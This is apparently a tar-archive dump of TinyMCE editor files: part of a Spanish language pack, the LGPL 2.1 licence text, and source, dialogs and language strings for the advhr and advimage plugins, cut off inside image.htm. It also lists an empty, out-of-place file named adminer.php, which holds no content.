preview:{ preview_desc:"Vista previa" }, directionality:{ ltr_desc:"Direcci\u00F3n izquierda a derecha", rtl_desc:"Direcci\u00F3n derecha a izquierda" }, layer:{ insertlayer_desc:"Insertar nueva capa", forward_desc:"Avanzar", backward_desc:"Retroceder", absolute_desc:"Cambiar a posici\u00F3n absoluta", content:"Nueva capa..." }, save:{ save_desc:"Guardar", cancel_desc:"Cancelar todos los cambios" }, nonbreaking:{ nonbreaking_desc:"Insertar caracter de espacio 'non-breaking'" }, iespell:{ iespell_desc:"Corrector ortogr\u00E1fico", download:"No se detect\u00F3 'ieSpell'. \u00BFDesea instalarlo ahora?" }, advhr:{ advhr_desc:"Regla horizontal" }, emotions:{ emotions_desc:"Emoticones" }, searchreplace:{ search_desc:"Buscar", replace_desc:"Buscar/Reemplazar" }, advimage:{ image_desc:"Insertar/editar imagen" }, advlink:{ link_desc:"Insertar/editar hiperv\u00EDnculo" }, xhtmlxtras:{ cite_desc:"Cita", abbr_desc:"Abreviatura", acronym_desc:"Acr\u00F3nimo", del_desc:"Borrado", ins_desc:"Inserci\u00F3n", attribs_desc:"Insertar/Editar atributos" }, style:{ desc:"Editar Estilo CSS" }, paste:{ paste_text_desc:"Pegar como texto plano", paste_word_desc:"Pegar desde Word", selectall_desc:"Seleccionar todo" }, paste_dlg:{ text_title:"Use CTRL+V en su teclado para pegar el texto en la ventana.", text_linebreaks:"Keep linebreaks", word_title:"Use CTRL+V en su teclado para pegar el texto en la ventana." }, table:{ desc:"Inserta una nueva tabla", row_before_desc:"Insertar fila (antes)", row_after_desc:"Insertar fila (despu\u00E9s)", delete_row_desc:"Suprimir fila", col_before_desc:"Insertar columna (antes)", col_after_desc:"Insertar columna (despu\u00E9s)", delete_col_desc:"Suprimir columna", split_cells_desc:"Dividir celdas", merge_cells_desc:"Vincular celdas", row_desc:"Propiedades de la fila", cell_desc:"Propiedades de la celda", props_desc:"Propiedades de la tabla", paste_row_before_desc:"Pegar filas (antes)", paste_row_after_desc:"Pegar filas (despu\u00E9s)", cut_row_desc:"Cortar fila", copy_row_desc:"Copiar fila", del:"Eliminar tabla", row:"Fila", col:"Columna", cell:"Celda" }, autosave:{ unload_msg:"Los cambios realizados se perder\u00E1n si sale de esta p\u00E1gina." }, fullscreen:{ desc:"Cambiar a modo Pantalla Completa" }, media:{ desc:"Insertar/editar medio embebido", edit:"Editar medio embebido" }, fullpage:{ desc:"Propiedades del documento" }, template:{ desc:"Insertar contenido de plantilla predefinida" }, visualchars:{ desc:"Caracteres de control ON/OFF." }, spellchecker:{ desc:"Cambiar a corrector ortogr\u00E1fico", menu:"Configuraci\u00F3n de corrector ortogr\u00E1fico", ignore_word:"Ignorar", ignore_words:"Ignorar todo", langs:"Idiomas", wait:"Espere...", sug:"Sugerencias", no_sug:"Sin sugerencias", no_mpell:"No se encontraron errores." }, pagebreak:{ desc:"Insertar fin de p\u00E1gina" }}}); tiny_mce/langs/readme.txt 0000666 00000000621 15155054006 0011461 0 ustar 00 Beginning with version 2.0.5 the language packs are no longer included with the core distribution. Language packs can be downloaded from the TinyMCE website: http://tinymce.moxiecode.com/download.php The language pack codes are based on ISO-639-1: http://www.loc.gov/standards/iso639-2/englangn.html Plrease try using entities if possible. Like å etc for non a-z characters. tiny_mce/license.txt 0000666 00000065453 15155054006 0010560 0 ustar 00 GNU LESSER GENERAL PUBLIC LICENSE Version 2.1, February 1999 Copyright (C) 1991, 1999 Free Software Foundation, Inc. 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. [This is the first released version of the Lesser GPL. It also counts as the successor of the GNU Library Public License, version 2, hence the version number 2.1.] Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public Licenses are intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This license, the Lesser General Public License, applies to some specially designated software packages--typically libraries--of the Free Software Foundation and other authors who decide to use it. You can use it too, but we suggest you first think carefully about whether this license or the ordinary General Public License is the better strategy to use in any particular case, based on the explanations below. When we speak of free software, we are referring to freedom of use, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish); that you receive source code or can get it if you want it; that you can change the software and use pieces of it in new free programs; and that you are informed that you can do these things. To protect your rights, we need to make restrictions that forbid distributors to deny you these rights or to ask you to surrender these rights. These restrictions translate to certain responsibilities for you if you distribute copies of the library or if you modify it. For example, if you distribute copies of the library, whether gratis or for a fee, you must give the recipients all the rights that we gave you. You must make sure that they, too, receive or can get the source code. If you link other code with the library, you must provide complete object files to the recipients, so that they can relink them with the library after making changes to the library and recompiling it. And you must show them these terms so they know their rights. We protect your rights with a two-step method: (1) we copyright the library, and (2) we offer you this license, which gives you legal permission to copy, distribute and/or modify the library. To protect each distributor, we want to make it very clear that there is no warranty for the free library. Also, if the library is modified by someone else and passed on, the recipients should know that what they have is not the original version, so that the original author's reputation will not be affected by problems that might be introduced by others. Finally, software patents pose a constant threat to the existence of any free program. We wish to make sure that a company cannot effectively restrict the users of a free program by obtaining a restrictive license from a patent holder. Therefore, we insist that any patent license obtained for a version of the library must be consistent with the full freedom of use specified in this license. Most GNU software, including some libraries, is covered by the ordinary GNU General Public License. This license, the GNU Lesser General Public License, applies to certain designated libraries, and is quite different from the ordinary General Public License. We use this license for certain libraries in order to permit linking those libraries into non-free programs. When a program is linked with a library, whether statically or using a shared library, the combination of the two is legally speaking a combined work, a derivative of the original library. The ordinary General Public License therefore permits such linking only if the entire combination fits its criteria of freedom. The Lesser General Public License permits more lax criteria for linking other code with the library. We call this license the "Lesser" General Public License because it does Less to protect the user's freedom than the ordinary General Public License. It also provides other free software developers Less of an advantage over competing non-free programs. These disadvantages are the reason we use the ordinary General Public License for many libraries. However, the Lesser license provides advantages in certain special circumstances. For example, on rare occasions, there may be a special need to encourage the widest possible use of a certain library, so that it becomes a de-facto standard. To achieve this, non-free programs must be allowed to use the library. A more frequent case is that a free library does the same job as widely used non-free libraries. In this case, there is little to gain by limiting the free library to free software only, so we use the Lesser General Public License. In other cases, permission to use a particular library in non-free programs enables a greater number of people to use a large body of free software. For example, permission to use the GNU C Library in non-free programs enables many more people to use the whole GNU operating system, as well as its variant, the GNU/Linux operating system. Although the Lesser General Public License is Less protective of the users' freedom, it does ensure that the user of a program that is linked with the Library has the freedom and the wherewithal to run that program using a modified version of the Library. The precise terms and conditions for copying, distribution and modification follow. Pay close attention to the difference between a "work based on the library" and a "work that uses the library". The former contains code derived from the library, whereas the latter must be combined with the library in order to run. GNU LESSER GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License Agreement applies to any software library or other program which contains a notice placed by the copyright holder or other authorized party saying it may be distributed under the terms of this Lesser General Public License (also called "this License"). Each licensee is addressed as "you". A "library" means a collection of software functions and/or data prepared so as to be conveniently linked with application programs (which use some of those functions and data) to form executables. The "Library", below, refers to any such software library or work which has been distributed under these terms. A "work based on the Library" means either the Library or any derivative work under copyright law: that is to say, a work containing the Library or a portion of it, either verbatim or with modifications and/or translated straightforwardly into another language. (Hereinafter, translation is included without limitation in the term "modification".) "Source code" for a work means the preferred form of the work for making modifications to it. For a library, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the library. Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running a program using the Library is not restricted, and output from such a program is covered only if its contents constitute a work based on the Library (independent of the use of the Library in a tool for writing it). Whether that is true depends on what the Library does and what the program that uses the Library does. 1. You may copy and distribute verbatim copies of the Library's complete source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and distribute a copy of this License along with the Library. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Library or any portion of it, thus forming a work based on the Library, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) The modified work must itself be a software library. b) You must cause the files modified to carry prominent notices stating that you changed the files and the date of any change. c) You must cause the whole of the work to be licensed at no charge to all third parties under the terms of this License. d) If a facility in the modified Library refers to a function or a table of data to be supplied by an application program that uses the facility, other than as an argument passed when the facility is invoked, then you must make a good faith effort to ensure that, in the event an application does not supply such function or table, the facility still operates, and performs whatever part of its purpose remains meaningful. (For example, a function in a library to compute square roots has a purpose that is entirely well-defined independent of the application. Therefore, Subsection 2d requires that any application-supplied function or table used by this function must be optional: if the application does not supply it, the square root function must still compute square roots.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Library, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Library, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Library. In addition, mere aggregation of another work not based on the Library with the Library (or with a work based on the Library) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may opt to apply the terms of the ordinary GNU General Public License instead of this License to a given copy of the Library. To do this, you must alter all the notices that refer to this License, so that they refer to the ordinary GNU General Public License, version 2, instead of to this License. (If a newer version than version 2 of the ordinary GNU General Public License has appeared, then you can specify that version instead if you wish.) Do not make any other change in these notices. Once this change is made in a given copy, it is irreversible for that copy, so the ordinary GNU General Public License applies to all subsequent copies and derivative works made from that copy. This option is useful when you wish to copy part of the code of the Library into a program that is not a library. 4. You may copy and distribute the Library (or a portion or derivative of it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange. If distribution of object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place satisfies the requirement to distribute the source code, even though third parties are not compelled to copy the source along with the object code. 5. A program that contains no derivative of any portion of the Library, but is designed to work with the Library by being compiled or linked with it, is called a "work that uses the Library". Such a work, in isolation, is not a derivative work of the Library, and therefore falls outside the scope of this License. However, linking a "work that uses the Library" with the Library creates an executable that is a derivative of the Library (because it contains portions of the Library), rather than a "work that uses the library". The executable is therefore covered by this License. Section 6 states terms for distribution of such executables. When a "work that uses the Library" uses material from a header file that is part of the Library, the object code for the work may be a derivative work of the Library even though the source code is not. Whether this is true is especially significant if the work can be linked without the Library, or if the work is itself a library. The threshold for this to be true is not precisely defined by law. If such an object file uses only numerical parameters, data structure layouts and accessors, and small macros and small inline functions (ten lines or less in length), then the use of the object file is unrestricted, regardless of whether it is legally a derivative work. (Executables containing this object code plus portions of the Library will still fall under Section 6.) Otherwise, if the work is a derivative of the Library, you may distribute the object code for the work under the terms of Section 6. Any executables containing that work also fall under Section 6, whether or not they are linked directly with the Library itself. 6. As an exception to the Sections above, you may also combine or link a "work that uses the Library" with the Library to produce a work containing portions of the Library, and distribute that work under terms of your choice, provided that the terms permit modification of the work for the customer's own use and reverse engineering for debugging such modifications. You must give prominent notice with each copy of the work that the Library is used in it and that the Library and its use are covered by this License. You must supply a copy of this License. If the work during execution displays copyright notices, you must include the copyright notice for the Library among them, as well as a reference directing the user to the copy of this License. Also, you must do one of these things: a) Accompany the work with the complete corresponding machine-readable source code for the Library including whatever changes were used in the work (which must be distributed under Sections 1 and 2 above); and, if the work is an executable linked with the Library, with the complete machine-readable "work that uses the Library", as object code and/or source code, so that the user can modify the Library and then relink to produce a modified executable containing the modified Library. (It is understood that the user who changes the contents of definitions files in the Library will not necessarily be able to recompile the application to use the modified definitions.) b) Use a suitable shared library mechanism for linking with the Library. A suitable mechanism is one that (1) uses at run time a copy of the library already present on the user's computer system, rather than copying library functions into the executable, and (2) will operate properly with a modified version of the library, if the user installs one, as long as the modified version is interface-compatible with the version that the work was made with. c) Accompany the work with a written offer, valid for at least three years, to give the same user the materials specified in Subsection 6a, above, for a charge no more than the cost of performing this distribution. d) If distribution of the work is made by offering access to copy from a designated place, offer equivalent access to copy the above specified materials from the same place. e) Verify that the user has already received a copy of these materials or that you have already sent this user a copy. For an executable, the required form of the "work that uses the Library" must include any data and utility programs needed for reproducing the executable from it. However, as a special exception, the materials to be distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. It may happen that this requirement contradicts the license restrictions of other proprietary libraries that do not normally accompany the operating system. Such a contradiction means you cannot use both them and the Library together in an executable that you distribute. 7. You may place library facilities that are a work based on the Library side-by-side in a single library together with other library facilities not covered by this License, and distribute such a combined library, provided that the separate distribution of the work based on the Library and of the other library facilities is otherwise permitted, and provided that you do these two things: a) Accompany the combined library with a copy of the same work based on the Library, uncombined with any other library facilities. This must be distributed under the terms of the Sections above. b) Give prominent notice with the combined library of the fact that part of it is a work based on the Library, and explaining where to find the accompanying uncombined form of the same work. 8. You may not copy, modify, sublicense, link with, or distribute the Library except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense, link with, or distribute the Library is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 9. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Library or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Library (or any work based on the Library), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Library or works based on it. 10. Each time you redistribute the Library (or any work based on the Library), the recipient automatically receives a license from the original licensor to copy, distribute, link with or modify the Library subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties with this License. 11. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Library at all. For example, if a patent license would not permit royalty-free redistribution of the Library by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Library. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply, and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 12. If the distribution and/or use of the Library is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Library under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 13. The Free Software Foundation may publish revised and/or new versions of the Lesser General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Library specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Library does not specify a license version number, you may choose any version ever published by the Free Software Foundation. 14. If you wish to incorporate parts of the Library into other free programs whose distribution conditions are incompatible with these, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE LIBRARY IS WITH YOU. SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Libraries If you develop a new library, and you want it to be of the greatest possible use to the public, we recommend making it free software that everyone can redistribute and change. You can do so by permitting redistribution under these terms (or, alternatively, under the terms of the ordinary General Public License). To apply these terms, attach the following notices to the library. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. <one line to give the library's name and a brief idea of what it does.> Copyright (C) <year> <name of author> This library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with this library; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA Also add information on how to contact you by electronic and paper mail. You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the library, if necessary. Here is a sample; alter the names: Yoyodyne, Inc., hereby disclaims all copyright interest in the library `Frob' (a library for tweaking knobs) written by James Random Hacker. <signature of Ty Coon>, 1 April 1990 Ty Coon, President of Vice That's all there is to it! tiny_mce/plugins/adminer.php 0000666 00000000000 15155054006 0012157 0 ustar 00 tiny_mce/plugins/advhr/css/advhr.css 0000666 00000000365 15155054006 0013557 0 ustar 00 input.radio {border:1px none #000; background:transparent; vertical-align:middle;} .panel_wrapper div.current {height:80px;} #width {width:50px; vertical-align:middle;} #width2 {width:50px; vertical-align:middle;} #size {width:100px;} tiny_mce/plugins/advhr/editor_plugin.js 0000666 00000001517 15155054006 0014353 0 ustar 00 (function(){tinymce.create("tinymce.plugins.AdvancedHRPlugin",{init:function(a,b){a.addCommand("mceAdvancedHr",function(){a.windowManager.open({file:b+"/rule.htm",width:250+parseInt(a.getLang("advhr.delta_width",0)),height:160+parseInt(a.getLang("advhr.delta_height",0)),inline:1},{plugin_url:b})});a.addButton("advhr",{title:"advhr.advhr_desc",cmd:"mceAdvancedHr"});a.onNodeChange.add(function(d,c,e){c.setActive("advhr",e.nodeName=="HR")});a.onClick.add(function(c,d){d=d.target;if(d.nodeName==="HR"){c.selection.select(d)}})},getInfo:function(){return{longname:"Advanced HR",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/advhr",version:tinymce.majorVersion+"."+tinymce.minorVersion}}});tinymce.PluginManager.add("advhr",tinymce.plugins.AdvancedHRPlugin)})(); tiny_mce/plugins/advhr/editor_plugin_src.js 0000666 00000002732 15155054006 0015222 0 ustar 00 /** * editor_plugin_src.js * * Copyright 2009, Moxiecode Systems AB * Released under LGPL License. * * License: http://tinymce.moxiecode.com/license * Contributing: http://tinymce.moxiecode.com/contributing */ (function() { tinymce.create('tinymce.plugins.AdvancedHRPlugin', { init : function(ed, url) { // Register commands ed.addCommand('mceAdvancedHr', function() { ed.windowManager.open({ file : url + '/rule.htm', width : 250 + parseInt(ed.getLang('advhr.delta_width', 0)), height : 160 + parseInt(ed.getLang('advhr.delta_height', 0)), inline : 1 }, { plugin_url : url }); }); // Register buttons ed.addButton('advhr', { title : 'advhr.advhr_desc', cmd : 'mceAdvancedHr' }); ed.onNodeChange.add(function(ed, cm, n) { cm.setActive('advhr', n.nodeName == 'HR'); }); ed.onClick.add(function(ed, e) { e = e.target; if (e.nodeName === 'HR') ed.selection.select(e); }); }, getInfo : function() { return { longname : 'Advanced HR', author : 'Moxiecode Systems AB', authorurl : 'http://tinymce.moxiecode.com', infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/advhr', version : tinymce.majorVersion + "." + tinymce.minorVersion }; } }); // Register plugin tinymce.PluginManager.add('advhr', tinymce.plugins.AdvancedHRPlugin); })(); tiny_mce/plugins/advhr/images/advhr.gif 0000666 00000000231 15155054006 0014201 0 ustar 00 GIF89a 2JbBzbrrbRr ! , FI8ͻB AN"܂RB!3GÆK4p dK"FxL. ; tiny_mce/plugins/advhr/js/rule.js 0000666 00000002525 15155054006 0013072 0 ustar 00 var AdvHRDialog = { init : function(ed) { var dom = ed.dom, f = document.forms[0], n = ed.selection.getNode(), w; w = dom.getAttrib(n, 'width'); f.width.value = w ? parseInt(w) : (dom.getStyle('width') || ''); f.size.value = dom.getAttrib(n, 'size') || parseInt(dom.getStyle('height')) || ''; f.noshade.checked = !!dom.getAttrib(n, 'noshade') || !!dom.getStyle('border-width'); selectByValue(f, 'width2', w.indexOf('%') != -1 ? '%' : 'px'); }, update : function() { var ed = tinyMCEPopup.editor, h, f = document.forms[0], st = ''; h = '<hr'; if (f.size.value) { h += ' size="' + f.size.value + '"'; st += ' height:' + f.size.value + 'px;'; } if (f.width.value) { h += ' width="' + f.width.value + (f.width2.value == '%' ? '%' : '') + '"'; st += ' width:' + f.width.value + (f.width2.value == '%' ? '%' : 'px') + ';'; } if (f.noshade.checked) { h += ' noshade="noshade"'; st += ' border-width: 1px; border-style: solid; border-color: #CCCCCC; color: #ffffff;'; } if (ed.settings.inline_styles) h += ' style="' + tinymce.trim(st) + '"'; h += ' />'; ed.execCommand("mceInsertContent", false, h); tinyMCEPopup.close(); } }; tinyMCEPopup.requireLangPack(); tinyMCEPopup.onInit.add(AdvHRDialog.init, AdvHRDialog); tiny_mce/plugins/advhr/jscripts/rule.js 0000666 00000002216 15155054006 0014314 0 ustar 00 function init() { tinyMCEPopup.resizeToInnerSize(); var formObj = document.forms[0]; formObj.width.value = tinyMCE.getWindowArg('width'); formObj.size.value = tinyMCE.getWindowArg('size'); formObj.insert.value = tinyMCE.getLang('lang_' + tinyMCE.getWindowArg('mceDo'),'Insert',true); if (tinyMCE.getWindowArg('noshade')) { formObj.noshade.checked = true; } if (tinyMCE.getWindowArg('width').lastIndexOf('%')!=-1) { formObj.width2.value = "%"; formObj.width.value = formObj.width.value.substring(0,formObj.width.value.length-1); } } function insertHR() { var formObj = document.forms[0]; var width = formObj.width.value; var size = formObj.size.value; var html = '<hr'; if (size!='' && size!=0) { html += ' size="' + size + '"'; } if (width!='' && width!=0) { html += ' width="' + width; if (formObj.width2.value=='%') { html += '%'; } html += '"'; } if (formObj.noshade.checked==true) { html += ' noshade="noshade"'; } html += ' />'; tinyMCEPopup.execCommand("mceInsertContent", true, html); tinyMCEPopup.close(); } function cancelAction() { tinyMCEPopup.close(); } tiny_mce/plugins/advhr/langs/ca_dlg.js 0000666 00000000147 15155054006 0014022 0 ustar 00 tinyMCE.addI18n('ca.advhr_dlg',{ width:"Amplada", size:"Al\u00E7ada", noshade:"Sense ombra" }); tiny_mce/plugins/advhr/langs/en.js 0000666 00000000300 15155054006 0013202 0 ustar 00 // UK lang variables tinyMCE.addToLang('',{ insert_advhr_desc : 'Horizontale rule', insert_advhr_width : 'Width', insert_advhr_size : 'Height', insert_advhr_noshade : 'No shadow' }); tiny_mce/plugins/advhr/langs/en_dlg.js 0000666 00000000136 15155054006 0014037 0 ustar 00 tinyMCE.addI18n('en.advhr_dlg',{ width:"Width", size:"Height", noshade:"No shadow" }); tiny_mce/plugins/advhr/langs/es_dlg.js 0000666 00000000135 15155054006 0014043 0 ustar 00 tinyMCE.addI18n('es.advhr_dlg',{ width:"Ancho", size:"Alto", noshade:"Sin sombra" }); tiny_mce/plugins/advhr/readme.txt 0000666 00000000075 15155054006 0013145 0 ustar 00 Check the TinyMCE documentation for details on this plugin. tiny_mce/plugins/advhr/rule.htm 0000666 00000005205 15155054006 0012630 0 ustar 00 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>{#advhr.advhr_desc}</title> <script type="text/javascript" src="../../tiny_mce_popup.js"></script> <script type="text/javascript" src="js/rule.js"></script> <script type="text/javascript" src="../../utils/mctabs.js"></script> <script type="text/javascript" src="../../utils/form_utils.js"></script> <link href="css/advhr.css" rel="stylesheet" type="text/css" /> </head> <body> <form onsubmit="AdvHRDialog.update();return false;" action="#"> <div class="tabs"> <ul> <li id="general_tab" class="current"><span><a href="javascript:mcTabs.displayTab('general_tab','general_panel');" onmousedown="return false;">{#advhr.advhr_desc}</a></span></li> </ul> </div> <div class="panel_wrapper"> <div id="general_panel" class="panel current"> <table border="0" cellpadding="4" cellspacing="0"> <tr> <td><label for="width">{#advhr_dlg.width}</label></td> <td class="nowrap"> <input id="width" name="width" type="text" value="" class="mceFocus" /> <select name="width2" id="width2"> <option value="">px</option> <option value="%">%</option> </select> </td> </tr> <tr> <td><label for="size">{#advhr_dlg.size}</label></td> <td><select id="size" name="size"> <option value="">Normal</option> <option value="1">1</option> <option value="2">2</option> <option value="3">3</option> <option value="4">4</option> <option value="5">5</option> </select></td> </tr> <tr> <td><label for="noshade">{#advhr_dlg.noshade}</label></td> <td><input type="checkbox" name="noshade" id="noshade" class="radio" /></td> </tr> </table> </div> </div> <div class="mceActionPanel"> <input type="submit" id="insert" name="insert" value="{#insert}" /> <input type="button" id="cancel" name="cancel" value="{#cancel}" onclick="tinyMCEPopup.close();" /> </div> </form> </body> </html> tiny_mce/plugins/advimage/css/advimage.css 0000666 00000001255 15155054006 0014700 0 ustar 00 #src_list, #over_list, #out_list {width:280px;} .mceActionPanel {margin-top:7px;} .alignPreview {border:1px solid #000; width:140px; height:140px; overflow:hidden; padding:5px;} .checkbox {border:0;} .panel_wrapper div.current {height:305px;} #prev {margin:0; border:1px solid #000; width:428px; height:150px; overflow:auto;} #align, #classlist {width:150px;} #width, #height {vertical-align:middle; width:50px; text-align:center;} #vspace, #hspace, #border {vertical-align:middle; width:30px; text-align:center;} #class_list {width:180px;} input {width: 280px;} #constrain, #onmousemovecheck {width:auto;} #id, #dir, #lang, #usemap, #longdesc {width:200px;} tiny_mce/plugins/advimage/editor_plugin.js 0000666 00000001424 15155054006 0015021 0 ustar 00 (function(){tinymce.create("tinymce.plugins.AdvancedImagePlugin",{init:function(a,b){a.addCommand("mceAdvImage",function(){if(a.dom.getAttrib(a.selection.getNode(),"class").indexOf("mceItem")!=-1){return}a.windowManager.open({file:b+"/image.htm",width:480+parseInt(a.getLang("advimage.delta_width",0)),height:385+parseInt(a.getLang("advimage.delta_height",0)),inline:1},{plugin_url:b})});a.addButton("image",{title:"advimage.image_desc",cmd:"mceAdvImage"})},getInfo:function(){return{longname:"Advanced image",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/advimage",version:tinymce.majorVersion+"."+tinymce.minorVersion}}});tinymce.PluginManager.add("advimage",tinymce.plugins.AdvancedImagePlugin)})(); tiny_mce/plugins/advimage/editor_plugin_src.js 0000666 00000002634 15155054006 0015674 0 ustar 00 /** * editor_plugin_src.js * * Copyright 2009, Moxiecode Systems AB * Released under LGPL License. * * License: http://tinymce.moxiecode.com/license * Contributing: http://tinymce.moxiecode.com/contributing */ (function() { tinymce.create('tinymce.plugins.AdvancedImagePlugin', { init : function(ed, url) { // Register commands ed.addCommand('mceAdvImage', function() { // Internal image object like a flash placeholder if (ed.dom.getAttrib(ed.selection.getNode(), 'class').indexOf('mceItem') != -1) return; ed.windowManager.open({ file : url + '/image.htm', width : 480 + parseInt(ed.getLang('advimage.delta_width', 0)), height : 385 + parseInt(ed.getLang('advimage.delta_height', 0)), inline : 1 }, { plugin_url : url }); }); // Register buttons ed.addButton('image', { title : 'advimage.image_desc', cmd : 'mceAdvImage' }); }, getInfo : function() { return { longname : 'Advanced image', author : 'Moxiecode Systems AB', authorurl : 'http://tinymce.moxiecode.com', infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/advimage', version : tinymce.majorVersion + "." + tinymce.minorVersion }; } }); // Register plugin tinymce.PluginManager.add('advimage', tinymce.plugins.AdvancedImagePlugin); })(); tiny_mce/plugins/advimage/image.htm 0000666 00000026477 15155054006 0013432 0 ustar 00 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>{#advimage_dlg.dialog_title}</title> <script type="text/javascript" src="../../tiny_mce_popup.js"></script> <script type="text/javascript" src="../../utils/mctabs.js"></script> <script type="text/javascript" src="../../utils/form_utils.js"></script> <script type="text/javascript" 